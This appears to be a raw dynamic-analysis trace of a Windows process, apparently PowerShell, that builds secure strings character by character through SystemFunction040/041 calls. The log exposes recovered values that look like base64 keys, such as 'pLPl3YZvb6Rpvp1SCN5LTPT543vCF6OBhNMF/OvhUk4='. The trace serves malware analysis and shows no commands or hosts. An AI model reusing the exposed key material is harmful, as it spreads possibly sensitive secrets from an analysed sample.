(in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.651] SysStringLen (param_1="렂禽梍귻앓\铞ᾁ俛䘏沄\矜좢䭌쾲") returned 0x10 [0242.652] SysStringLen (param_1="렂禽梍귻앓\铞ᾁ俛䘏沄\矜좢䭌쾲") returned 0x10 [0242.652] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.652] SysStringLen (param_1="pLPl3YZvb6Rpvp1S") returned 0x10 [0242.652] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.652] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜") returned 0x10 [0242.652] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜") returned 0x10 [0242.652] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜") returned 0x10 [0242.653] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜") returned 0x18 [0242.653] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.653] SysStringLen (param_1="pLPl3YZvb6Rpvp1SC闷鮺촖䔭궎釧") returned 0x18 [0242.653] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.653] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜꺦顗䰵꬇瞈쐻ㆮ") returned 0x18 [0242.653] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜꺦顗䰵꬇瞈쐻ㆮ") returned 0x18 [0242.653] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.653] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN鮺촖䔭궎釧") returned 0x18 [0242.653] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.653] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜\Ⳝ賀ؐ浧氛顽媁⊻) returned 0x18 [0242.653] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜\Ⳝ賀ؐ浧氛顽媁⊻) returned 0x18 [0242.654] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.654] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5촖䔭궎釧") returned 0x18 [0242.654] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.654] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜ퟫᄖ䉘ၔ瀿槲㲔略") returned 0x18 [0242.654] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜ퟫᄖ䉘ၔ瀿槲㲔略") returned 0x18 [0242.654] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.654] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5L䔭궎釧") returned 0x18 [0242.654] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.654] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜\췛賓밒罯浞絛⊂) returned 0x18 [0242.654] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜\췛賓밒罯浞絛⊂) returned 0x18 [0242.654] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LT궎釧") returned 0x18 [0242.655] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䢙㭮ꃑ㛲\俙홃䘡⊑) returned 0x18 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䢙㭮ꃑ㛲\俙홃䘡⊑) returned 0x18 [0242.655] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTP釧") returned 0x18 [0242.655] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜꾌Ʊ聑旙酀룑岿ꊥ") returned 0x18 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜꾌Ʊ聑旙酀룑岿ꊥ") returned 0x18 [0242.655] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT釧") returned 0x18 [0242.655] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜땅പໞ킇壧뤰酵鵵") returned 0x18 [0242.655] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜땅പໞ킇壧뤰酵鵵") returned 0x18 [0242.656] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.656] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT5") returned 0x18 [0242.656] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.656] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐") returned 0x18 [0242.656] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐") returned 0x18 [0242.656] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐") returned 0x18 [0242.656] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐") returned 0x20 [0242.656] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.657] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT54玭棯쪜俪垖坡稫") returned 0x20 [0242.657] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.657] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐Ẍ뵹畚酿傈\럟∕) returned 0x20 [0242.657] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐Ẍ뵹畚酿傈\럟∕) returned 0x20 [0242.657] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.657] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543棯쪜俪垖坡稫") returned 0x20 [0242.657] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.657] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐磤څ킃ꄼ\␭≏) returned 0x20 [0242.657] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐磤څ킃ꄼ\␭≏) returned 0x20 [0242.657] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.658] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543v쪜俪垖坡稫") returned 0x20 [0242.658] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.658] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐겉⋖恥灍") returned 0x20 [0242.658] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐겉⋖恥灍") returned 0x20 [0242.658] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.658] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vC俪垖坡稫") returned 0x20 [0242.658] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.658] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐烖䛞筅侀蓷㟌㎤▨") returned 0x20 [0242.658] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐烖䛞筅侀蓷㟌㎤▨") returned 0x20 [0242.658] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.658] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF垖坡稫") returned 0x20 [0242.658] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐箇绷䳜ⓓ\쫞鑨\") returned 0x20 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐箇绷䳜ⓓ\쫞鑨\") returned 0x20 [0242.659] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.659] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6坡稫") returned 0x20 [0242.659] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐ꎪ쎝쬖돗孾韟☱") returned 0x20 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐ꎪ쎝쬖돗孾韟☱") returned 0x20 [0242.659] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.659] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6O稫") returned 0x20 [0242.659] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐ﲺଁ큏牙ꑋ罴蘮㟍") returned 0x20 [0242.659] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐ﲺଁ큏牙ꑋ罴蘮㟍") returned 0x20 [0242.659] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.660] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OB") returned 0x20 [0242.660] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.660] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭") returned 0x20 [0242.660] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭") returned 0x20 [0242.660] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭") returned 0x20 [0242.660] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭\x10") returned 0x28 [0242.660] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.661] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBh쫏䒣⨣멫Ⅸ") returned 0x28 [0242.661] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.661] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭폟€椚鑦䮣顃ꂑ氫") returned 0x28 [0242.661] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭폟€椚鑦䮣顃ꂑ氫") returned 0x28 [0242.661] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.661] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhN䒣⨣멫Ⅸ") returned 0x28 [0242.661] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.661] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭⻟既琬拁枅宏裀") returned 0x28 [0242.661] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭⻟既琬拁枅宏裀") returned 0x28 [0242.661] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.661] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNM䒣⨣멫Ⅸ") returned 0x28 [0242.661] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鴫ꙇ莏透씘衐邕") returned 0x28 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鴫ꙇ莏透씘衐邕") returned 0x28 [0242.662] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.662] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF䒣⨣멫Ⅸ") returned 0x28 [0242.662] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭쎘ᐫ䊇빶뾪") returned 0x28 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭쎘ᐫ䊇빶뾪") returned 0x28 [0242.662] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.662] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/⨣멫Ⅸ") returned 0x28 [0242.662] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭⎇ﲤ⣈蕟暐籡င榣") returned 0x28 [0242.662] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭⎇ﲤ⣈蕟暐籡င榣") returned 0x28 [0242.662] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.663] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/O멫Ⅸ") returned 0x28 [0242.663] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.663] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭諭魜й뀄槸ڛ") returned 0x28 [0242.663] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭諭魜й뀄槸ڛ") returned 0x28 [0242.663] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.663] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/OvⅨ") returned 0x28 [0242.663] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.663] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭\x8c菮ᣦ硉燜헝⍢㓏") returned 0x28 [0242.663] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭\x8c菮ᣦ硉燜헝⍢㓏") returned 0x28 [0242.663] SystemFunction041 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.663] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/Ovh") returned 0x28 [0242.663] SystemFunction040 (in: Memory=0x5c9b1f4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b1f4) returned 0x0 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\⋟) returned 0x28 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\⋟) returned 0x28 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\⋟) returned 0x28 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\⋟) returned 0x30 [0242.664] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.664] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/OvhUĠ뽕粯ﲻዷ") returned 0x30 [0242.664] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\೟䏽蘹⚟杔薱㜨ᬫ⊋) returned 0x30 [0242.664] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\೟䏽蘹⚟杔薱㜨ᬫ⊋) returned 0x30 [0242.665] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.665] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/OvhUk뽕粯ﲻዷ") returned 0x30 [0242.665] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.665] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\賟梱悲氲殴㰾Ᾱ혲⊫) returned 0x30 [0242.665] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\賟梱悲氲殴㰾Ᾱ혲⊫) returned 0x30 [0242.665] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.665] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/OvhUk4뽕粯ﲻዷ") returned 0x30 [0242.665] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.665] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\槟\䡘霯㘮枻ꃞ") returned 0x30 [0242.665] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\槟\䡘霯㘮枻ꃞ") returned 0x30 [0242.665] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.665] SysStringLen (param_1="pLPl3YZvb6Rpvp1SCN5LTPT543vCF6OBhNMF/OvhUk4=粯ﲻዷ") returned 0x30 [0242.665] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0242.666] EtwEventActivityIdControl () returned 0x0 [0242.666] EtwEventActivityIdControl () returned 0x0 [0242.666] EtwEventActivityIdControl () returned 0x0 [0242.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.667] EtwEventActivityIdControl () returned 0x0 [0242.667] EtwEventActivityIdControl () returned 0x0 [0242.667] EtwEventActivityIdControl () returned 0x0 [0242.667] SysStringLen (param_1="") returned 0x8 [0242.667] SysStringLen (param_1="N") returned 0x8 [0242.667] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.668] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.668] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.668] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.668] SysStringLen (param_1="ND") returned 0x8 [0242.668] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.668] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.668] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.668] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.668] SysStringLen (param_1="NDZ") returned 0x8 [0242.668] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.668] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.668] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.668] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.669] SysStringLen (param_1="NDZl") returned 0x8 [0242.669] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.669] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.669] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.669] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.669] SysStringLen (param_1="NDZlO") returned 0x8 [0242.669] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.669] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.669] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.669] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.669] SysStringLen (param_1="NDZlOD") returned 0x8 [0242.669] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.670] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.670] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.670] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.670] SysStringLen (param_1="NDZlODR") returned 0x8 [0242.670] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.670] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.670] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.670] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.670] SysStringLen (param_1="NDZlODRm") returned 0x8 [0242.670] SystemFunction040 (in: Memory=0x5c51c94, 